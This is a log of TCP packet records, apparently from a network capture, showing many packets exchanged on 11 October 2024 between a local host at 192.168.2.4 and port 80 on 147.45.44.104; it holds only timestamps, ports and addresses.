Oct 11, 2024 23:07:05.397382021 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.403518915 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.403549910 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.403599977 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.403608084 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.403642893 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.403671026 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.403686047 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.404023886 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.404073000 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.404073954 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.404136896 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.404179096 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.404187918 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.404217005 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.404259920 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.404266119 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.404314995 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.404364109 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.404367924 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.404396057 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.404429913 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.404437065 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.404457092 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.404500008 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.404511929 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.404551983 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.404578924 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.404592991 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.404609919 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.404650927 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.404656887 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.404689074 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.404741049 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.404747963 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.404772997 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.404804945 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.404814959 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.404835939 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.404877901 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.404885054 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.404932976 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.404975891 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.404987097 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.405015945 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.405059099 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.405064106 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.405097961 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.405143976 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.405143976 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.405191898 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.405222893 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.405241966 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.405256033 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.405287027 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.405302048 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.405319929 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.405350924 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.405359983 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.405381918 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.405414104 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.405436039 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.405445099 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.405477047 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.405488968 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.460587978 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.484025955 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.484069109 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.484124899 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.493391037 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.493427038 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.493459940 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.493494034 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.493520021 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.493551970 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.493763924 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.493793964 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.493844986 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.493869066 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.493901014 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.493935108 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.493956089 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.493987083 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.494036913 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.494036913 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.494069099 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.494101048 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.494118929 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.494133949 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.494225025 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.494242907 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.494293928 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.494326115 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.494339943 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.494417906 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.494446993 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.494466066 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.494496107 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.494529009 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.494539022 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.494560957 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.494604111 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.494609118 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.494641066 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.494685888 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.494688988 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.494729042 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.494762897 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.494775057 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.494795084 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.494827032 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.494842052 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.494858027 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.494889975 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.494900942 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.494920969 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.494952917 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.494963884 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.494983912 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.495017052 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.495028019 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.495043993 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.495074987 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.495086908 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.495106936 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.495136976 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.495143890 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.495170116 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.495214939 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.570991993 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.571042061 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.571181059 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.584222078 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.584300995 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.584336996 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.584369898 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.584393024 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.584431887 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.586666107 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.586725950 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.586781979 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.586788893 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.586838961 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.586873055 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.586884022 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.586921930 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.586966038 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.586975098 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.587007046 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.587039948 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.587052107 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.587071896 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.587105989 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.587121010 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.587136984 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.587179899 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.587188959 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.587234020 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.587284088 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.587300062 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.587316990 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.587348938 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.587363005 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.587423086 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.587467909 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.587475061 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.587508917 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.587539911 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.587557077 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.587588072 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.587619066 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.587634087 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.587650061 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.587682962 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.587692976 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.587714911 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.587747097 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.587762117 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.587776899 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.587807894 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.587820053 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.587840080 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.587872028 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.587888002 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.587903023 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.587934971 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.587955952 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.587966919 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.588001013 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.588011980 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.648086071 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.674566984 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.674618959 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.674654961 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.674690962 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.674760103 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.674815893 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.676779032 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.676865101 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.676929951 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.676933050 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.676983118 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.677015066 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.677027941 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.677052975 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.677095890 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.677103043 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.677134991 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.677167892 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.677181959 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.677198887 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.677248955 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.677252054 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.677303076 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.677335024 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.677349091 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.677366972 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.677402020 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.677412033 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.677444935 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.677484035 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.677494049 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.677525997 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.677556992 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.677570105 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.677589893 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.677623034 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.677634001 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.677654982 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.677696943 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.677706003 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.677736998 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.677771091 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.677783966 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.677819967 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.677851915 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.677867889 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.677884102 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.677916050 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.677939892 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.677947044 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.677980900 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.678010941 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.678010941 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.678047895 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.678052902 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.678080082 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.678112030 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.678122997 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.678143024 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.678175926 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.678188086 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.726177931 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.789690971 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.789741039 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.789776087 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.789788961 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.789812088 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.789861917 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.791877985 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.792064905 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.792124033 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.792176008 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.792227030 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.792268991 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.792279959 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.792311907 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.792345047 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.792361975 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.792376995 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.792411089 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.792427063 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.792443037 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.792475939 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.792488098 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.792506933 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.792541027 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.792555094 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.792574883 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.792638063 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.792700052 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.792732000 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.792766094 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.792776108 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.792797089 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.792829990 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.792845964 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.792861938 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.792892933 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.792907000 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.792926073 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.792958975 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.792974949 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.792990923 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.793032885 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.793035984 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.793065071 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.793106079 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.793569088 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.793598890 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.793638945 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.793648005 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.793683052 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.793714046 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.793735027 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.793746948 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.793780088 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.793795109 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.793812037 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.793852091 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.793859959 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.793893099 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.793920994 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.793937922 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.793955088 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.793987989 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.794006109 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.794015884 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.794060946 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.874527931 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.874577045 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.874610901 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.874648094 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.874700069 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.874737024 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.882204056 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.882261038 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.882313013 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.882313967 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.882347107 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.882379055 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.882427931 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.882436991 CEST	49730	80	192.168.2.4	147.45.44.104
